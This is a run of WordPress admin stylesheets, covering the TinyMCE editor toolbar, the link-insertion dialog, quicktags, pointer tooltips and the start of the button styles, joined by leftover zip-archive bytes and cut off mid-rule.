.mce-toolbar .mce-btn-group .mce-btn.mce-primary .mce-ico {
	color: #fff;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus {
	background: #4f94d4;
	border-color: #135e96;
	color: #fff;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus {
	box-shadow: 0 0 1px 1px #72aee6;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary:active {
	background: #2271b1;
	border-color: #135e96;
	box-shadow: inset 0 2px 0 #135e96;
}

/* mce listbox */
.mce-toolbar .mce-btn-group .mce-btn.mce-listbox {
	border-radius: 0;
	direction: ltr;
	background: #fff;
	border: 1px solid #dcdcde;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-panel .mce-btn i.mce-caret {
	border-top: 6px solid #50575e;
	margin-left: 2px;
	margin-right: 2px;
}

.mce-listbox i.mce-caret {
	right: 4px;
}

.mce-panel .mce-btn:hover i.mce-caret,
.mce-panel .mce-btn:focus i.mce-caret {
	border-top-color: #1d2327;
}

.mce-panel .mce-active i.mce-caret {
	border-top: 0;
	border-bottom: 6px solid #1d2327;
	margin-top: 7px;
}

.mce-listbox.mce-active i.mce-caret {
	margin-top: -3px;
}

.mce-toolbar .mce-splitbtn:hover .mce-open {
	border-right-color: transparent;
}

.mce-toolbar .mce-splitbtn .mce-open.mce-active {
	background: transparent;
	outline: none;
}

.mce-menu .mce-menu-item:hover,
.mce-menu .mce-menu-item.mce-selected,
.mce-menu .mce-menu-item:focus,
.mce-menu .mce-menu-item.mce-active.mce-menu-item-normal,
.mce-menu .mce-menu-item.mce-active.mce-menu-item-preview {
	background: #2271b1; /* See color scheme. */
	color: #fff;
}

.mce-menu .mce-menu-item:hover .mce-caret,
.mce-menu .mce-menu-item:focus .mce-caret,
.mce-menu .mce-menu-item.mce-selected .mce-caret {
	border-left-color: #fff;
}

/* rtl:ignore */
.rtl .mce-menu .mce-menu-item:hover .mce-caret,
.rtl .mce-menu .mce-menu-item:focus .mce-caret,
.rtl .mce-menu .mce-menu-item.mce-selected .mce-caret {
	border-left-color: inherit;
	border-right-color: #fff;
}

.mce-menu .mce-menu-item:hover .mce-text,
.mce-menu .mce-menu-item:focus .mce-text,
.mce-menu .mce-menu-item:hover .mce-ico,
.mce-menu .mce-menu-item:focus .mce-ico,
.mce-menu .mce-menu-item.mce-selected .mce-text,
.mce-menu .mce-menu-item.mce-selected .mce-ico,
.mce-menu .mce-menu-item:hover .mce-menu-shortcut,
.mce-menu .mce-menu-item:focus .mce-menu-shortcut,
.mce-menu .mce-menu-item.mce-active .mce-menu-shortcut,
.mce-menu .mce-menu-item.mce-disabled:hover .mce-text,
.mce-menu .mce-menu-item.mce-disabled:hover .mce-ico {
	color: inherit;
}

.mce-menu .mce-menu-item.mce-disabled {
	cursor: default;
}

.mce-menu .mce-menu-item.mce-disabled:hover {
	background: #c3c4c7;
}

/* Menubar */
div.mce-menubar {
	border-color: #dcdcde;
	background: #fff;
	border-width: 0 0 1px;
}

.mce-menubar .mce-menubtn:hover,
.mce-menubar .mce-menubtn.mce-active,
.mce-menubar .mce-menubtn:focus {
	border-color: transparent;
	background: transparent;
}

.mce-menubar .mce-menubtn:focus {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

div.mce-menu .mce-menu-item-sep,
.mce-menu-item-sep:hover {
	border-bottom: 1px solid #dcdcde;
	height: 0;
	margin: 5px 0;
}

.mce-menubtn span {
	margin-right: 0;
	padding-left: 3px;
}

.mce-menu-has-icons i.mce-ico:before {
	margin-left: -2px;
}

/* Keyboard shortcuts position */
.mce-menu.mce-menu-align .mce-menu-item-normal {
	position: relative;
}

.mce-menu.mce-menu-align .mce-menu-shortcut {
	bottom: 0.6em;
	font-size: 0.9em;
}

/* Buttons in modals */
.mce-primary button,
.mce-primary button i {
	text-align: center;
	color: #fff;
	text-shadow: none;
	padding: 0;
	line-height: 1.85714285;
}

.mce-window .mce-btn {
	color: #50575e;
	background: #f6f7f7;
	text-decoration: none;
	font-size: 13px;
	line-height: 26px;
	height: 28px;
	margin: 0;
	padding: 0;
	cursor: pointer;
	border: 1px solid #c3c4c7;
	-webkit-appearance: none;
	border-radius: 3px;
	white-space: nowrap;
	box-shadow: 0 1px 0 #c3c4c7;
}

/* Remove the dotted border on :focus and the extra padding in Firefox */
.mce-window .mce-btn::-moz-focus-inner {
	border-width: 0;
	border-style: none;
	padding: 0;
}

.mce-window .mce-btn:hover,
.mce-window .mce-btn:focus {
	background: #f6f7f7;
	border-color: #8c8f94;
	color: #1d2327;
}

.mce-window .mce-btn:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.mce-window .mce-btn:active {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
	transform: translateY(1px);
}

.mce-window .mce-btn.mce-disabled {
	color: #a7aaad !important;
	border-color: #dcdcde !important;
	background: #f6f7f7 !important;
	box-shadow: none !important;
	text-shadow: 0 1px 0 #fff !important;
	cursor: default;
	transform: none !important;
}

.mce-window .mce-btn.mce-primary {
	background: #3582c4;
	border-color: #2271b1 #135e96 #135e96;
	box-shadow: 0 1px 0 #135e96;
	color: #fff;
	text-decoration: none;
	text-shadow: 0 -1px 1px #135e96,
		1px 0 1px #135e96,
		0 1px 1px #135e96,
		-1px 0 1px #135e96;
}

.mce-window .mce-btn.mce-primary:hover,
.mce-window .mce-btn.mce-primary:focus {
	background: #4f94d4;
	border-color: #135e96;
	color: #fff;
}

.mce-window .mce-btn.mce-primary:focus {
	box-shadow: 0 1px 0 #2271b1,
		0 0 2px 1px #72aee6;
}

.mce-window .mce-btn.mce-primary:active {
	background: #2271b1;
	border-color: #135e96;
	box-shadow: inset 0 2px 0 #135e96;
	vertical-align: top;
}

.mce-window .mce-btn.mce-primary.mce-disabled {
	color: #9ec2e6 !important;
	background: #4f94d4 !important;
	border-color: #3582c4 !important;
	box-shadow: none !important;
	text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.1) !important;
	cursor: default;
}

.mce-menubtn.mce-fixed-width span {
	overflow-x: hidden;
	text-overflow: ellipsis;
	width: 82px;
}

/* Charmap modal */
.mce-charmap {
	margin: 3px;
}

.mce-charmap td {
	padding: 0;
	border-color: #dcdcde;
	cursor: pointer;
}

.mce-charmap td:hover {
	background: #f6f7f7;
}

.mce-charmap td div {
	width: 18px;
	height: 22px;
	line-height: 1.57142857;
}

/* TinyMCE tooltips */
.mce-tooltip {
	margin-top: 2px;
}

.mce-tooltip-inner {
	border-radius: 3px;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
	color: #fff;
	font-size: 12px;
}

/* TinyMCE icons */
.mce-ico {
	font-family: tinymce, Arial;
}

.mce-btn-small .mce-ico {
	font-family: tinymce-small, Arial;
}

.mce-toolbar .mce-ico {
	color: #50575e;
	line-height: 1;
	width: 20px;
	height: 20px;
	text-align: center;
	text-shadow: none;
	margin: 0;
	padding: 0;
}

.qt-dfw {
	color: #50575e;
	line-height: 1;
	width: 28px;
	height: 26px;
	text-align: center;
	text-shadow: none;
}

.mce-toolbar .mce-btn .mce-open {
	line-height: 20px;
}

.mce-toolbar .mce-btn:hover .mce-open,
.mce-toolbar .mce-btn:focus .mce-open,
.mce-toolbar .mce-btn.mce-active .mce-open {
	border-left-color: #1d2327;
}

div.mce-notification {
	left: 10% !important;
	right: 10%;
}

.mce-notification button.mce-close {
	right: 6px;
	top: 3px;
	font-weight: 400;
	color: #50575e;
}

.mce-notification button.mce-close:hover,
.mce-notification button.mce-close:focus {
	color: #000;
}

i.mce-i-bold,
i.mce-i-italic,
i.mce-i-bullist,
i.mce-i-numlist,
i.mce-i-blockquote,
i.mce-i-alignleft,
i.mce-i-aligncenter,
i.mce-i-alignright,
i.mce-i-link,
i.mce-i-unlink,
i.mce-i-wp_more,
i.mce-i-strikethrough,
i.mce-i-spellchecker,
i.mce-i-fullscreen,
i.mce-i-wp_fullscreen,
i.mce-i-dfw,
i.mce-i-wp_adv,
i.mce-i-underline,
i.mce-i-alignjustify,
i.mce-i-forecolor,
i.mce-i-backcolor,
i.mce-i-pastetext,
i.mce-i-pasteword,
i.mce-i-removeformat,
i.mce-i-charmap,
i.mce-i-outdent,
i.mce-i-indent,
i.mce-i-undo,
i.mce-i-redo,
i.mce-i-help,
i.mce-i-wp_help,
i.mce-i-wp-media-library,
i.mce-i-ltr,
i.mce-i-wp_page,
i.mce-i-hr,
i.mce-i-wp_code,
i.mce-i-dashicon,
i.mce-i-remove {
	font: normal 20px/1 dashicons;
	padding: 0;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	margin-left: -2px;
	padding-right: 2px;
}

.qt-dfw {
	font: normal 20px/1 dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

i.mce-i-bold:before {
	content: "\f200";
}

i.mce-i-italic:before {
	content: "\f201";
}

i.mce-i-bullist:before {
	content: "\f203";
}

i.mce-i-numlist:before {
	content: "\f204";
}

i.mce-i-blockquote:before {
	content: "\f205";
}

i.mce-i-alignleft:before {
	content: "\f206";
}

i.mce-i-aligncenter:before {
	content: "\f207";
}

i.mce-i-alignright:before {
	content: "\f208";
}

i.mce-i-link:before {
	content: "\f103";
}

i.mce-i-unlink:before {
	content: "\f225";
}

i.mce-i-wp_more:before {
	content: "\f209";
}

i.mce-i-strikethrough:before {
	content: "\f224";
}

i.mce-i-spellchecker:before {
	content: "\f210";
}

i.mce-i-fullscreen:before,
i.mce-i-wp_fullscreen:before,
i.mce-i-dfw:before,
.qt-dfw:before {
	content: "\f211";
}

i.mce-i-wp_adv:before {
	content: "\f212";
}

i.mce-i-underline:before {
	content: "\f213";
}

i.mce-i-alignjustify:before {
	content: "\f214";
}

i.mce-i-forecolor:before,
i.mce-i-backcolor:before {
	content: "\f215";
}

i.mce-i-pastetext:before {
	content: "\f217";
}

i.mce-i-removeformat:before {
	content: "\f218";
}

i.mce-i-charmap:before {
	content: "\f220";
}

i.mce-i-outdent:before {
	content: "\f221";
}

i.mce-i-indent:before {
	content: "\f222";
}

i.mce-i-undo:before {
	content: "\f171";
}

i.mce-i-redo:before {
	content: "\f172";
}

i.mce-i-help:before,
i.mce-i-wp_help:before {
	content: "\f223";
}

i.mce-i-wp-media-library:before {
	content: "\f104";
}

i.mce-i-ltr:before {
	content: "\f320";
}

i.mce-i-wp_page:before {
	content: "\f105";
}

i.mce-i-hr:before {
	content: "\f460";
}

i.mce-i-remove:before {
	content: "\f158";
}

i.mce-i-wp_code:before {
	content: "\f475";
}

/* RTL button icons */
.rtl i.mce-i-outdent:before {
	content: "\f222";
}

.rtl i.mce-i-indent:before {
	content: "\f221";
}

/* Editors */
.wp-editor-wrap {
	position: relative;
}

.wp-editor-tools {
	position: relative;
	z-index: 1;
}

.wp-editor-tools:after {
	clear: both;
	content: "";
	display: table;
}

.wp-editor-container {
	clear: both;
	border: 1px solid #dcdcde;
}

.wp-editor-area {
	font-family: Consolas, Monaco, monospace;
	font-size: 13px;
	padding: 10px;
	margin: 1px 0 0;
	line-height: 150%;
	border: 0;
	outline: none;
	display: block;
	resize: vertical;
	box-sizing: border-box;
}

.rtl .wp-editor-area {
	font-family: Tahoma, Monaco, monospace;
}

.locale-he-il .wp-editor-area {
	font-family: Arial, Monaco, monospace;
}

.wp-editor-container textarea.wp-editor-area {
	width: 100%;
	margin: 0;
	box-shadow: none;
}

.wp-editor-tabs {
	float: right;
}

.wp-switch-editor {
	float: left;
	box-sizing: content-box;
	position: relative;
	top: 1px;
	background: #f0f0f1;
	color: #646970;
	cursor: pointer;
	font-size: 13px;
	line-height: 1.46153846;
	height: 20px;
	margin: 5px 0 0 5px;
	padding: 3px 8px 4px;
	border: 1px solid #dcdcde;
}

.wp-switch-editor:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	color: #1d2327;
}

.wp-switch-editor:active {
	background-color: #f6f7f7;
	box-shadow: none;
}

.js .tmce-active .wp-editor-area {
	color: #fff;
}

.tmce-active .quicktags-toolbar {
	display: none;
}

.tmce-active .switch-tmce,
.html-active .switch-html {
	background: #f6f7f7;
	color: #50575e;
	border-bottom-color: #f6f7f7;
}

.wp-media-buttons {
	float: left;
}

.wp-media-buttons .button {
	margin-right: 5px;
	margin-bottom: 4px;
	padding-left: 7px;
	padding-right: 7px;
}

.wp-media-buttons .button:active {
	position: relative;
	top: 1px;
	margin-top: -1px;
	margin-bottom: 1px;
}

.wp-media-buttons .insert-media {
	padding-left: 5px;
}

.wp-media-buttons a {
	text-decoration: none;
	color: #3c434a;
	font-size: 12px;
}

.wp-media-buttons img {
	padding: 0 4px;
	vertical-align: middle;
}

.wp-media-buttons span.wp-media-buttons-icon {
	display: inline-block;
	width: 20px;
	height: 20px;
	line-height: 1;
	vertical-align: middle;
	margin: 0 2px;
}

.wp-media-buttons .add_media span.wp-media-buttons-icon {
	background: none;
}

.wp-media-buttons .add_media span.wp-media-buttons-icon:before {
	font: normal 18px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-media-buttons .add_media span.wp-media-buttons-icon:before {
	content: "\f104";
}

.mce-content-body dl.wp-caption {
	max-width: 100%;
}

/* Quicktags */
.quicktags-toolbar {
	padding: 3px;
	position: relative;
	border-bottom: 1px solid #dcdcde;
	background: #f6f7f7;
	min-height: 30px;
}

.has-dfw .quicktags-toolbar {
	padding-right: 35px;
}

.wp-core-ui .quicktags-toolbar input.button.button-small {
	margin: 2px;
}

.quicktags-toolbar input[value="link"] {
	text-decoration: underline;
}

.quicktags-toolbar input[value="del"] {
	text-decoration: line-through;
}

.quicktags-toolbar input[value="i"] {
	font-style: italic;
}

.quicktags-toolbar input[value="b"] {
	font-weight: 600;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw,
.qt-dfw {
	position: absolute;
	top: 0;
	right: 0;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw {
	margin: 7px 7px 0 0;
}

.qt-dfw {
	margin: 5px 5px 0 0;
}

.qt-fullscreen {
	position: static;
	margin: 2px;
}

@media screen and (max-width: 782px) {
	.mce-toolbar .mce-btn button,
	.qt-dfw {
		padding: 6px 7px;
	}

	/* Compensate for the extra box shadow at the bottom of .mce-btn.mce-primary */
	.mce-toolbar .mce-btn-group .mce-btn.mce-primary button {
		padding: 6px 7px 5px;
	}

	.mce-toolbar .mce-btn-group .mce-btn {
		margin: 1px;
	}

	.qt-dfw {
		width: 36px;
		height: 34px;
	}

	.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw {
		margin: 4px 4px 0 0;
	}

	.mce-toolbar .mce-colorbutton .mce-preview {
		left: 8px;
		bottom: 6px;
	}

	.mce-window .mce-btn {
		padding: 2px 0;
	}

	.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first,
	.has-dfw .quicktags-toolbar {
		padding-right: 40px;
	}
}

@media screen and (min-width: 782px) {
	.wp-core-ui .quicktags-toolbar input.button.button-small {
		/* .button-small is normally 11px, but a bit too small for these buttons. */
		font-size: 12px;
		min-height: 26px;
		line-height: 2;
	}
}

#wp_editbtns,
#wp_gallerybtns {
	padding: 2px;
	position: absolute;
	display: none;
	z-index: 100020;
}

#wp_editimgbtn,
#wp_delimgbtn,
#wp_editgallery,
#wp_delgallery {
	background-color: #f0f0f1;
	margin: 2px;
	padding: 2px;
	border: 1px solid #8c8f94;
	border-radius: 3px;
}

#wp_editimgbtn:hover,
#wp_delimgbtn:hover,
#wp_editgallery:hover,
#wp_delgallery:hover {
	border-color: #50575e;
	background-color: #c3c4c7;
}

/*------------------------------------------------------------------------------
 wp-link
------------------------------------------------------------------------------*/

#wp-link-wrap {
	display: none;
	background-color: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	width: 500px;
	overflow: hidden;
	margin-left: -250px;
	margin-top: -125px;
	position: fixed;
	top: 50%;
	left: 50%;
	z-index: 100105;
	transition: height 0.2s, margin-top 0.2s;
}

#wp-link-backdrop {
	display: none;
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 100100;
}

#wp-link {
	position: relative;
	height: 100%;
}

#wp-link-wrap {
	height: 600px;
	margin-top: -300px;
}

#wp-link-wrap .wp-link-text-field {
	display: none;
}

#wp-link-wrap.has-text-field .wp-link-text-field {
	display: block;
}

#link-modal-title {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	font-size: 18px;
	font-weight: 600;
	line-height: 2;
	margin: 0;
	padding: 0 36px 0 16px;
}

#wp-link-close {
	color: #646970;
	padding: 0;
	position: absolute;
	top: 0;
	right: 0;
	width: 36px;
	height: 36px;
	text-align: center;
	background: none;
	border: none;
	cursor: pointer;
}

#wp-link-close:before {
	font: normal 20px/36px dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	width: 36px;
	height: 36px;
	content: "\f158";
}

#wp-link-close:hover,
#wp-link-close:focus {
	color: #135e96;
}

#wp-link-close:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

#wp-link-wrap #link-selector {
	-webkit-overflow-scrolling: touch;
	padding: 0 16px;
	position: absolute;
	top: calc(2.15384615em + 16px);
	left: 0;
	right: 0;
	bottom: calc(2.15384615em + 19px);
	display: flex;
	flex-direction: column;
	overflow: auto;
}

#wp-link ol,
#wp-link ul {
	list-style: none;
	margin: 0;
	padding: 0;
}

#wp-link input[type="text"] {
	box-sizing: border-box;
}

#wp-link #link-options {
	padding: 8px 0 12px;
}

#wp-link p.howto {
	margin: 3px 0;
}

#wp-link p.howto a {
	text-decoration: none;
	color: inherit;
}

#wp-link label input[type="text"] {
	margin-top: 5px;
	width: 70%;
}

#wp-link #link-options label span,
#wp-link #search-panel label span.search-label {
	display: inline-block;
	width: 120px;
	text-align: right;
	padding-right: 5px;
	max-width: 24%;
	vertical-align: middle;
	word-wrap: break-word;
}

#wp-link .link-search-field {
	width: 250px;
	max-width: 70%;
}

#wp-link .link-search-wrapper {
	margin: 5px 0 9px;
	display: block;
}

#wp-link .query-results {
	position: absolute;
	width: calc(100% - 32px);
}

#wp-link .link-search-wrapper .spinner {
	float: none;
	margin: -3px 0 0 4px;
}

#wp-link .link-target {
	padding: 3px 0 0;
}

#wp-link .link-target label {
	max-width: 70%;
}

#wp-link .query-results {
	border: 1px #dcdcde solid;
	margin: 0 0 12px;
	background: #fff;
	overflow: auto;
	max-height: 290px;
}

#wp-link li {
	clear: both;
	margin-bottom: 0;
	border-bottom: 1px solid #f0f0f1;
	color: #2c3338;
	padding: 4px 6px 4px 10px;
	cursor: pointer;
	position: relative;
}

#wp-link .query-notice {
	padding: 0;
	border-bottom: 1px solid #dcdcde;
	background-color: #fff;
	color: #000;
}

#wp-link .query-notice .query-notice-default,
#wp-link .query-notice .query-notice-hint {
	display: block;
	padding: 6px;
	border-left: 4px solid #72aee6;
}

#wp-link .unselectable.no-matches-found {
	padding: 0;
	border-bottom: 1px solid #dcdcde;
	background-color: #f6f7f7;
}

#wp-link .no-matches-found .item-title {
	display: block;
	padding: 6px;
	border-left: 4px solid #d63638;
}

#wp-link .query-results em {
	font-style: normal;
}

#wp-link li:hover {
	background: #f0f6fc;
	color: #101517;
}

#wp-link li.unselectable {
	border-bottom: 1px solid #dcdcde;
}

#wp-link li.unselectable:hover {
	background: #fff;
	cursor: auto;
	color: #2c3338;
}

#wp-link li.selected {
	background: #dcdcde;
	color: #2c3338;
}

#wp-link li.selected .item-title {
	font-weight: 600;
}

#wp-link li:last-child {
	border: none;
}

#wp-link .item-title {
	display: inline-block;
	width: 80%;
	width: calc(100% - 68px);
	word-wrap: break-word;
}

#wp-link .item-info {
	text-transform: uppercase;
	color: #646970;
	font-size: 11px;
	position: absolute;
	right: 5px;
	top: 5px;
}

#wp-link .river-waiting {
	display: none;
	padding: 10px 0;
}

#wp-link .submitbox {
	padding: 8px 16px;
	background: #fff;
	border-top: 1px solid #dcdcde;
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0;
}

#wp-link-cancel {
	line-height: 1.92307692;
	float: left;
}

#wp-link-update {
	line-height: 1.76923076;
	float: right;
}

#wp-link-submit {
	float: right;
}

@media screen and (max-width: 782px) {
	#link-selector {
		padding: 0 16px 60px;
	}

	#wp-link-wrap #link-selector {
		bottom: calc(2.71428571em + 23px);
	}

	#wp-link-cancel {
		line-height: 2.46153846;
	}

	#wp-link .link-target {
		padding-top: 10px;
	}

	#wp-link .submitbox .button {
		margin-bottom: 0;
	}
}

@media screen and (max-width: 520px) {
	#wp-link-wrap {
		width: auto;
		margin-left: 0;
		left: 10px;
		right: 10px;
		max-width: 500px;
	}
}

@media screen and (max-height: 620px) {
	#wp-link-wrap {
		transition: none;
		height: auto;
		margin-top: 0;
		top: 10px;
		bottom: 10px;
	}

	#link-selector {
		overflow: auto;
	}
}

@media screen and (max-height: 290px) {
	#wp-link-wrap {
		height: auto;
		margin-top: 0;
		top: 10px;
		bottom: 10px;
	}

	#link-selector {
		overflow: auto;
		height: calc(100% - 92px);
		padding-bottom: 2px;
	}
}

div.wp-link-preview {
	float: left;
	margin: 5px;
	max-width: 694px;
	overflow: hidden;
	text-overflow: ellipsis;
}

div.wp-link-preview a {
	color: #2271b1;
	text-decoration: underline;
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
	cursor: pointer;
}

div.wp-link-preview a.wplink-url-error {
	color: #d63638;
}

.mce-inline-toolbar-grp div.mce-flow-layout-item > div {
	display: flex;
	align-items: flex-end;
}

div.wp-link-input {
	float: left;
	margin: 2px;
	max-width: 694px;
}

div.wp-link-input label {
	margin-bottom: 4px;
	display: block;
}

div.wp-link-input input {
	width: 300px;
	padding: 3px;
	box-sizing: border-box;
	line-height: 1.28571429; /* 18px */
	/* Override value inherited from default input fields. */
	min-height: 26px;
}

.mce-toolbar div.wp-link-preview ~ .mce-btn,
.mce-toolbar div.wp-link-input ~ .mce-btn {
	margin: 2px 1px;
}

.mce-inline-toolbar-grp .mce-btn-group .mce-btn:last-child {
	margin-right: 2px;
}

.ui-autocomplete.wplink-autocomplete {
	z-index: 100110;
	max-height: 200px;
	overflow-y: auto;
	padding: 0;
	margin: 0;
	list-style: none;
	position: absolute;
	border: 1px solid #4f94d4;
	box-shadow: 0 1px 2px rgba(79, 148, 212, 0.8);
	background-color: #fff;
}

.ui-autocomplete.wplink-autocomplete li {
	margin-bottom: 0;
	padding: 4px 10px;
	clear: both;
	white-space: normal;
	text-align: left;
}

.ui-autocomplete.wplink-autocomplete li .wp-editor-float-right {
	float: right;
}

.ui-autocomplete.wplink-autocomplete li.ui-state-focus {
	background-color: #dcdcde;
	cursor: pointer;
}

@media screen and (max-width: 782px) {
	div.wp-link-preview,
	div.wp-link-input {
		max-width: 70%;
		max-width: calc(100% - 86px);
	}

	div.wp-link-preview {
		margin: 8px 0 8px 5px;
	}

	div.wp-link-input {
		width: 300px;
	}

	div.wp-link-input input {
		width: 100%;
		font-size: 16px;
		padding: 5px;
	}
}

/* =Overlay Body
-------------------------------------------------------------- */

.mce-fullscreen {
	z-index: 100010;
}

/* =Localization
-------------------------------------------------------------- */
.rtl .wp-switch-editor,
.rtl .quicktags-toolbar input {
	font-family: Tahoma, sans-serif;
}

/* rtl:ignore */
.mce-rtl .mce-flow-layout .mce-flow-layout-item > div {
	direction: rtl;
}

/* rtl:ignore */
.mce-rtl .mce-listbox i.mce-caret {
	left: 6px;
}

html:lang(he-il) .rtl .wp-switch-editor,
html:lang(he-il) .rtl .quicktags-toolbar input {
	font-family: Arial, sans-serif;
}

/* HiDPI */
@media print,
  (min-resolution: 120dpi) {
	.wp-media-buttons .add_media span.wp-media-buttons-icon {
		background: none;
	}
}
PK1Xd[��}��wp-pointer-rtl.min.cssnu�[���/*! This file is auto-generated */
.wp-pointer-content{padding:0 0 10px;position:relative;font-size:13px;background:#fff;border:1px solid #c3c4c7;box-shadow:0 3px 6px rgba(0,0,0,.08)}.wp-pointer-content h3{position:relative;margin:-1px -1px 5px;padding:15px 60px 14px 18px;border:1px solid #2271b1;border-bottom:none;line-height:1.4;font-size:14px;color:#fff;background:#2271b1}.wp-pointer-content h3:before{background:#fff;border-radius:50%;color:#2271b1;content:"\f227";font:normal 20px/1.6 dashicons;position:absolute;top:8px;right:15px;speak:never;text-align:center;width:32px;height:32px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-pointer-content h4{margin:1.33em 20px 1em;font-size:1.15em}.wp-pointer-content p{padding:0 20px}.wp-pointer-buttons{margin:0;padding:5px 15px;overflow:auto}.wp-pointer-buttons a{float:left;display:inline-block;text-decoration:none}.wp-pointer-buttons a.close{padding-right:3px;position:relative}.wp-pointer-buttons a.close:before{background:0 0;color:#787c82;content:"\f153";display:block!important;font:normal 16px/1 dashicons;speak:never;margin:1px 0;text-align:center;-webkit-font-smoothing:antialiased!important;width:10px;height:100%;position:absolute;right:-15px;top:1px}.wp-pointer-buttons a.close:hover:before{color:#d63638}.wp-pointer-arrow,.wp-pointer-arrow-inner{position:absolute;width:0;height:0}.wp-pointer-arrow{z-index:10;width:0;height:0;border:0 solid transparent}.wp-pointer-arrow-inner{z-index:20}.wp-pointer-top,.wp-pointer-undefined{padding-top:13px}.wp-pointer-bottom{margin-top:-13px;padding-bottom:13px}.wp-pointer-left{padding-left:13px}.wp-pointer-right{margin-left:-13px;padding-right:13px}.wp-pointer-bottom .wp-pointer-arrow,.wp-pointer-top .wp-pointer-arrow,.wp-pointer-undefined .wp-pointer-arrow{right:50px}.wp-pointer-left .wp-pointer-arrow,.wp-pointer-right .wp-pointer-arrow{top:50%;margin-top:-15px}.wp-pointer-top .wp-pointer-arrow,.wp-pointer-undefined .wp-pointer-arrow{top:0;border-width:0 13px 13px;border-bottom-color:#2271b1}.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer-undefined .wp-pointer-arrow-inner{top:1px;margin-right:-13px;margin-top:-13px;border:13px solid transparent;border-bottom-color:#2271b1;display:block;content:" "}.wp-pointer-bottom .wp-pointer-arrow{bottom:0;border-width:13px 13px 0;border-top-color:#c3c4c7}.wp-pointer-bottom .wp-pointer-arrow-inner{bottom:1px;margin-right:-13px;margin-bottom:-13px;border:13px solid transparent;border-top-color:#fff;display:block;content:" "}.wp-pointer-left .wp-pointer-arrow{left:0;border-width:13px 13px 13px 0;border-right-color:#c3c4c7}.wp-pointer-left .wp-pointer-arrow-inner{left:1px;margin-left:-13px;margin-top:-13px;border:13px solid transparent;border-right-color:#fff;display:block;content:" "}.wp-pointer-right .wp-pointer-arrow{right:0;border-width:13px 0 13px 13px;border-left-color:#c3c4c7}.wp-pointer-right .wp-pointer-arrow-inner{right:1px;margin-right:-13px;margin-top:-13px;border:13px solid transparent;border-left-color:#fff;display:block;content:" "}.wp-pointer.arrow-bottom .wp-pointer-content{margin-bottom:-45px}.wp-pointer.arrow-bottom .wp-pointer-arrow{top:100%;margin-top:-30px}@media screen and (max-width:782px){.wp-pointer{display:none}}PK1Xd[6���&�&buttons-rtl.cssnu�[���/*! This file is auto-generated */
/* ----------------------------------------------------------------------------

NOTE: If you edit this file, you should make sure that the CSS rules for
buttons in the following files are updated.

* jquery-ui-dialog.css
* editor.css

WordPress-style Buttons
=======================
Create a button by adding the `.button` class to an element. For backward
compatibility, we support several other classes (such as `.button-secondary`),
but these will *not* work with the stackable classes described below.

Button Styles
-------------
To display a primary button style, add the `.button-primary` class to a button.

Button Sizes
------------
Adjust a button's size by adding the `.button-large` or `.button-small` class.

Button States
-------------
Lock the state of a button by adding the name of the pseudoclass as
an actual class (e.g. `.hover` for `:hover`).


TABLE OF CONTENTS:
------------------
 1.0 - Button Layouts
 2.0 - Default Button Style
 3.0 - Primary Button Style
 4.0 - Button Groups
 5.0 - Responsive Button Styles

---------------------------------------------------------------------------- */

/* ----------------------------------------------------------------------------
  1.0 - Button Layouts
---------------------------------------------------------------------------- */

.wp-core-ui .button,
.wp-core-ui .button-primary,
.wp-core-ui .button-secondary {
	display: inline-block;
	text-decoration: none;
	font-size: 13px;
	line-height: 2.15384615; /* 28px */
	min-height: 30px;
	margin: 0;
	padding: 0 10px;
	cursor: pointer;
	border-width: 1px;
	border-style: solid;
	-webkit-appearance: none;
	border-radius: 3px;
	white-space: nowrap;
	box-sizing: border-box;
}

/* Remove the dotted border on :focus and the extra padding in Firefox */
.wp-core-ui button::-moz-focus-inner,
.wp-core-ui input[type="reset"]::-moz-focus-inner,
.wp-core-ui input[type="button"]::-moz-focus-inner,
.wp-core-ui input[type="submit"]::-moz-focus-inner {
	border-width: 0;
	border-style: none;
	padding: 0;
}

.wp-core-ui .button.button-large,
.wp-core-ui .button-group.button-large .button {
	min-height: 32px;
	line-height: 2.30769231; /* 30px */
	padding: 0 12px;
}

.wp-core-ui .button.button-small,
.wp-core-ui .button-group.button-small .button {
	min-height: 26px;
	line-height: 2.18181818; /* 24px */
	padding: 0 8px;
	font-size: 11px;
